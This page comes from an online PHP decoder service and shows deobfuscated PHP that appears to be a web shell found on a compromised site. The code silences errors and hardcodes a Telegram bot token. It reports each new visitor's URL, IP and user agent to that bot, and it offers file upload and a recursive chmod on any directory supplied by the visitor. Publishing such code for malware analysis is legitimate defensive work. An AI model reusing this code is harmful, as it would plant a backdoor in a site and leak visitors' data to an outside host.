Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto tdmd8; weFDd: function changePermissions($directory, $filePerm, $dirPerm, $rootDir) { $realPath = realpath($directory); $rootReal = realpath($rootDir); if ($realPath === false || strpos($realPath, $rootReal) !== 0) { echo "<div class='log error'>[BLOCKED] {$directory}</div>"; return; } foreach (array_diff(scandir($realPath), array(, "..")) as $file) { $path = $realPath . "/" . $file; if (is_file($path)) { chmod($path, octdec($filePerm)); echo "<div class='log file'>[FILE] {$path} → {$filePerm}</div>"; } elseif (is_dir($path)) { chmod($path, octdec($dirPerm)); echo "<div class='log dir'>[DIR ] {$path} → {$dirPerm}</div>"; changePermissions($path, $filePerm, $dirPerm, $rootDir); } flush(); ob_flush(); } } goto nDBUO; fPkQJ: function telegramLogOnce($text) { global $TG_TOKEN, $TG_CHATID; $ip = $_SERVER["REMOTE_ADDR"] ?? "unknown"; $logDir = __DIR__ . "/.iplog"; $logFile = $logDir . "/" . md5($ip); if (file_exists($logFile)) { return; } if (!is_dir($logDir)) { mkdir($logDir, 448); } $ch = curl_init("https://api.telegram.org/bot{$TG_TOKEN}/sendMessage"); curl_setopt_array($ch, array(CURLOPT_POST => true, CURLOPT_POSTFIELDS => array("chat_id" => $TG_CHATID, "text" => $text, "disable_web_page_preview" => true), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5)); curl_exec($ch); curl_close($ch); file_put_contents($logFile, time()); } goto j6aIW; tdmd8: ob_start(); goto C3kJK; VUptL: $ua = $_SERVER["HTTP_USER_AGENT"] ?? "unknown"; goto Ron9e; C3kJK: error_reporting(0); goto OeZ6g; OeZ6g: $TG_TOKEN = "8905:AAHx9AhR4xiMB_tZZ5zaNAXVBg1waT6zHk"; goto aVErT; qWFm5: $ip = $_SERVER["REMOTE_ADDR"] ?? "unknown"; goto VUptL; aVErT: $TG_CHATID = "126332"; goto fPkQJ; iGW9w:
</span></div><div class="info-row"><span>Access IP</span><span>goto Q5XwM; mEC4j: echo htmlspecialchars(__DIR__); goto iGW9w; Ron9e: telegramLogOnce("🚨 PHP ACCESS (1x/IP)
URL: {$url}\xaIP: {$ip}
UA: {$ua}"); goto weFDd; FFu_y: $url = $scheme . "://" . ($_SERVER["HTTP_HOST"] ?? '') . ($_SERVER["REQUEST_URI"] ?? ''); goto qWFm5; Q5XwM: echo htmlspecialchars($ip); goto uB4Bw; j6aIW: $scheme = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http"; goto FFu_y; QFTnL: if ($_SERVER["REQUEST_METHOD"] === "POST") { echo "<div class='terminal'>"; if (!empty($_FILES["upload"]["name"])) { $t = __DIR__ . "/" . basename($_FILES["upload"]["name"]); if (move_uploaded_file($_FILES["upload"]["tmp_name"], $t)) { chmod($t, 292); echo "<div class='log file'>[UPLOAD] {$t}</div>"; } } if (isset($_POST["execute"])) { $root = realpath($_POST["directory"]); if ($root) { echo "<div class='log dir'>[START] {$root}</div>"; changePermissions($root, $_POST["file_perm"], $_POST["dir_perm"], $root); echo "<div class='log file'>[DONE] execution finished</div>"; } else { echo "<div class='log error'>[ERROR] invalid directory</div>"; } } echo "</div>"; } goto pr7Dj; nDBUO:



© 2023 Quttera Ltd. All rights reserved.